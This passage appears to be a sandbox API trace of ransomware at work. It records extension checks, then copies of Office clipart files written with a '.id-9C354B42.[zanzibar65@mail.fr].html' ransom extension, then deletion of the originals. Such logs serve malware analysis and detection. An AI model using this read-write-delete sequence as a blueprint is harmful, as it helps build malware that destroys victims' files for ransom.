lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.834] lstrlenW (lpString=".docx") returned 5 [0048.834] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.834] lstrlenW (lpString=".pdf") returned 4 [0048.834] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.834] lstrlenW (lpString=".xls") returned 4 [0048.834] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.834] lstrlenW (lpString=".xlsx") returned 5 [0048.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.834] lstrlenW (lpString=".ppt") returned 4 [0048.834] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0048.834] lstrlenW (lpString=".zip") returned 4 [0048.834] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.834] lstrlenW (lpString=".rar") returned 4 [0048.834] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.834] lstrlenW (lpString=".bz2") returned 4 [0048.834] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.834] lstrlenW (lpString=".7z") returned 3 [0048.834] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0048.834] lstrlenW (lpString=".dbf") returned 4 [0048.834] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0048.834] lstrlenW (lpString=".1cd") returned 4 [0048.835] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0048.835] lstrlenW (lpString=".jpg") returned 4 [0048.835] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.835] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1146) returned 1 [0048.835] CloseHandle (hObject=0x210) returned 1 [0048.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0048.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.835] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.835] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0048.836] GetLastError () returned 0x0 [0048.836] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x47a, lpOverlapped=0x0) returned 1 [0048.837] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x480, lpOverlapped=0x0) returned 1 [0049.798] ReadFile (in: hFile=0x210, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.798] WriteFile (in: hFile=0x204, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.798] SetEndOfFile (hFile=0x204) returned 1 [0049.799] CloseHandle (hObject=0x204) returned 1 [0049.799] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.799] SetEndOfFile (hFile=0x210) returned 1 [0049.800] CloseHandle (hObject=0x210) returned 1 [0049.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0049.940] lstrlenW (lpString=".doc") returned 4 [0049.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.940] lstrlenW (lpString=".docx") returned 5 [0049.940] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0049.940] lstrlenW (lpString=".pdf") returned 4 [0049.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.940] lstrlenW (lpString=".xls") returned 4 [0049.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.940] lstrlenW (lpString=".xlsx") returned 5 [0049.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0049.940] lstrlenW (lpString=".ppt") returned 4 [0049.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0049.940] lstrlenW (lpString=".zip") returned 4 [0049.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.940] lstrlenW (lpString=".rar") returned 4 [0049.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.940] lstrlenW (lpString=".bz2") returned 4 [0049.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.940] lstrlenW (lpString=".7z") returned 3 [0049.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0049.940] lstrlenW (lpString=".dbf") returned 4 [0049.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0049.940] lstrlenW (lpString=".1cd") returned 4 [0049.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0049.941] lstrlenW (lpString=".jpg") returned 4 [0049.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.218] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.224] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.238] GetLastError () returned 0x0 [0051.239] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x385c, lpOverlapped=0x0) returned 1 [0051.241] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3860, lpOverlapped=0x0) returned 1 [0051.243] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.243] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.243] SetEndOfFile (hFile=0x21c) returned 1 [0051.243] CloseHandle (hObject=0x21c) returned 1 [0051.244] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.244] SetEndOfFile (hFile=0x20c) returned 1 [0051.244] CloseHandle (hObject=0x20c) returned 1 [0051.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0051.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0051.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0051.245] lstrlenW (lpString=".doc") returned 4 [0051.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.245] lstrlenW (lpString=".docx") returned 5 [0051.245] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.245] lstrlenW (lpString=".pdf") returned 4 [0051.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.245] lstrlenW (lpString=".xls") returned 4 [0051.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.245] lstrlenW (lpString=".xlsx") returned 5 [0051.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.245] lstrlenW (lpString=".ppt") returned 4 [0051.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0051.245] lstrlenW (lpString=".zip") returned 4 [0051.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.245] lstrlenW (lpString=".rar") returned 4 [0051.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.246] lstrlenW (lpString=".bz2") returned 4 [0051.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.246] lstrlenW (lpString=".7z") returned 3 [0051.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0051.246] lstrlenW (lpString=".dbf") returned 4 [0051.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0051.246] lstrlenW (lpString=".1cd") returned 4 [0051.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0051.246] lstrlenW (lpString=".jpg") returned 4 [0051.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.246] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3746) returned 1 [0051.246] CloseHandle (hObject=0x20c) returned 1 [0051.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0051.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.247] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.247] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.247] GetLastError () returned 0x0 [0051.247] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xea2, lpOverlapped=0x0) returned 1 [0051.248] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0051.249] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.249] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.249] SetEndOfFile (hFile=0x21c) returned 1 [0051.250] CloseHandle (hObject=0x21c) returned 1 [0051.250] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.250] SetEndOfFile (hFile=0x20c) returned 1 [0051.250] CloseHandle (hObject=0x20c) returned 1 [0051.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0051.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0051.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0051.251] lstrlenW (lpString=".doc") returned 4 [0051.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.251] lstrlenW (lpString=".docx") returned 5 [0051.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.251] lstrlenW (lpString=".pdf") returned 4 [0051.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.251] lstrlenW (lpString=".xls") returned 4 [0051.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.251] lstrlenW (lpString=".xlsx") returned 5 [0051.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.251] lstrlenW (lpString=".ppt") returned 4 [0051.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0051.251] lstrlenW (lpString=".zip") returned 4 [0051.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.251] lstrlenW (lpString=".rar") returned 4 [0051.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.252] lstrlenW (lpString=".bz2") returned 4 [0051.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.252] lstrlenW (lpString=".7z") returned 3 [0051.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0051.252] lstrlenW (lpString=".dbf") returned 4 [0051.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0051.252] lstrlenW (lpString=".1cd") returned 4 [0051.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0051.252] lstrlenW (lpString=".jpg") returned 4 [0051.252] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.252] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5836) returned 1 [0051.252] CloseHandle (hObject=0x20c) returned 1 [0051.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0051.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.253] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.253] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.253] GetLastError () returned 0x0 [0051.253] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0051.254] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0051.255] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.256] WriteFile (in: hFile=0x21c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.256] SetEndOfFile (hFile=0x21c) returned 1 [0051.256] CloseHandle (hObject=0x21c) returned 1 [0051.256] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.256] SetEndOfFile (hFile=0x20c) returned 1 [0051.257] CloseHandle (hObject=0x20c) returned 1 [0051.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0051.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0051.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0051.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0051.257] lstrlenW (lpString=".doc") returned 4 [0051.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.257] lstrlenW (lpString=".docx") returned 5 [0051.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.257] lstrlenW (lpString=".pdf") returned 4 [0051.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.258] lstrlenW (lpString=".xls") returned 4 [0051.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.258] lstrlenW (lpString=".xlsx") returned 5 [0051.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.258] lstrlenW (lpString=".ppt") returned 4 [0051.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0051.258] lstrlenW (lpString=".zip") returned 4 [0051.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.258] lstrlenW (lpString=".rar") returned 4 [0051.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.258] lstrlenW (lpString=".bz2") returned 4 [0051.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.258] lstrlenW (lpString=".7z") returned 3 [0051.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0051.258] lstrlenW (lpString=".dbf") returned 4 [0051.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0051.258] lstrlenW (lpString=".1cd") returned 4 [0051.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0051.258] lstrlenW (lpString=".jpg") returned 4 [0051.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.258] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3012) returned 1 [0051.259] CloseHandle (hObject=0x20c) returned 1 [0051.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0051.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0051.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0051.259] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.259] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.259] GetLastError () returned 0x0 [0051.259] ReadFile (in: hFile=0x20c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xbc4, lpOverlapped=0x0) returned 